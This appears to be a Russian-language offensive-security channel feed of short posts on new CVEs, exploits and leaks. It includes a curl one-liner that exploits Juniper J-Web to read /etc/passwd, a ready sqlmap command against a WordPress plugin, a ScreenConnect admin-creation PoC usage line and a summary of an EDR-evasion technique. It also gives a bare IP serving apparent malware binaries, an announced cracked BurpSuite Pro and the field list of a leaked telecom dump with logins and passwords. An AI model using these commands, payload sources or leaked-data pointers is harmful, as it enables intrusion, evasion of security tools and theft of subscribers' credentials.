Свежая техника обхода EDR
Кому лень читать всю статью то: техника основана на запуске малвари ДО загрузки библиотеки DLL EDR.
Суть вот в чем, EDR должен внедрить свою DLL в каждый процесс, но если внедрять слишком рано - процесс крэшится, внедрять слишком поздно - так его уже малварь подчинила.
Суммируем: нужно найти момент для загрузки малвари ЧУТЬ раньше, при инициализации процесса - тогда EDR в лохматой жопе.
*
Статья - Bypassing EDRs With EDR-Preloading
Сорцы - EDR-Preloader

#EDR #malware

CVE-2023-36845 и CVE-2023-36846
Juniper Junos OS J-Web RCE
*
На все это дело есть и сплоит на питоне
но можно и в curlык
*

curl -kv "https ://OLOLO.com/about.php? PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'

Грязный BASH
однострочник для быстрого обнаружения XSS в файлах PHP
*
rg --no-heading "echo.*\\\$_GET" | grep "\.php:" | grep -v -e "(\$_GET" -e "( \$_GET" -e "esc_" -e "admin_url" -e "(int)" -e htmlentities

Прощай NGINX
*
ESXI умер пару дней назад
теперь и NGINX умер
Глав разраб форкнул проект и теперь будет FreeNginx
Почитайте письмо, как эффективные манагеры в очередной раз все обосрали
https://freenginx.org/pipermail/nginx/2024-February/000000.html
*
В AUR уже что то появилось

#fuck

CVE-2024-21413
Expect Script POC
*
Microsoft Outlook Remote Code Execution Vulnerability (through the preview panel) CVSS:3.1 9.8 / 8.5
*
Link

Living off the False Positive
*
Полезное.
Ну прям всем хорошо, blue team могут использовать для настройки своей логики обнаружения вторжений, а red team научиться сливаться с серой массой.
LoFP

KeyTrap in DNS (CVE-2023-50387)
*
Link

BurpSuite PRO version 2024.1.1.1
+BurpBountyPro_v2.8.0
ru+eng
+manual

Beeline потёк

В дампе поля:
APT41 - коменты будут ?
*
GUID
ABONENT_ID
ABONENT_NAME
LOGIN
PASSWORD
ACCOUNT_USR_BLOCK
ABONENT_BLOCK
DEVICE_BLOCK
QUESTION ANSWER
ACTIVE_DATE
DEACTIVE_DATE
PACKET_TYPE
TOWN
DEVICE
SUBSCRIBER_ID
ADDRESS_ID
*

Все эти билайны и теле2 это только верхушка айсберга и перерастает в шпионский треш, да еще и очень быстро.
Даже если просто переводить .md можно примерно прикинуть объемы затрагиваемых тем, структур, организаций и стран с их альянсами.
Ноги выросли отсюда I-S00N
В общем китайский APT-подрядчик нормально так накинул на вентилятор, от iOS Spyware до физических имплантируемых устройств.
В общем будет интересно, читаем вникаем дальше
*
Ну и да, кого в Китае расстреляют

UPDATE: хороший разбор тут с переводами скринов на английский (читать снизу вверх за последние 19 часов)


#APT

Побег из VirtualBox 7.0.10
ДЫрки в virtio-net
Почитать можно про CVE-2023-22098, CVE-2023-22099, CVE-2023-22100
*
exploit

#virtualbox #escape

ALFA LOL team
http://34.101.157.124/bins/

Ждем exploit для ScreenConnect

Linux — это теперь и CNA
Рубрика - Интересное, проект ядра Linux был принят в качестве органа нумерации CVE (CNA) для выявления уязвимостей, обнаруженных в Linux.
Теперь еще и их мониторить
Почитать тут

#vuln #linux #security

Ну понеслась

ScreenConnect POC
*
Обход аутентификации для добавления нового пользователя-администратора в ConnectWise ScreenConnect.
*
Usage:
python watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!
*

CVE-2024-25600 wordpress Exploit (RCE)
*
Дыра в плагине Bricks Builder
*
requirements:
alive_progress
bs4
prompt_toolkit
requests
rich
*

#RCE #wordpress

ChatBot для WordPress
*
SQL-инъекция через параметр $strid в версии до 4.8.9 включительно
*
ТЫКНУТЬ
python3 sqlmap.py -u 'http://OLOLO.ru:80/wp-admin/admin-ajax.php' --data='action=wpbo_search_response&name=test&keyword=test&strid=1' --level 4 --risk 3 --dbms mysql --banner -p strid

а я споть

SSH-Snake Tool for ....lulz
*
Это идеальное сочетание лени, глупости и божьей искры )))
То есть чуваки написали утилиту на базе ssh для КАРТОГРАФИРОВАНИЯ локалки, бегает с закрытыми ключами и бед не знает.
Ну не удивительно что черные шляпы мигом взяли на вооружение 😆
Правильное название должно быть ssh-worm
ТДН во все поля )
*
SSH-Snake
*
Почитать

#worm #ssh

CVE-2024-1651 exploit (RCE)
*
Дырка в Torrentpier v2.4.1, приложение уязвимо к небезопасной десериализации, поэтому - позволяет выполнять произвольные команды на сервере.

#exploit #rce #linux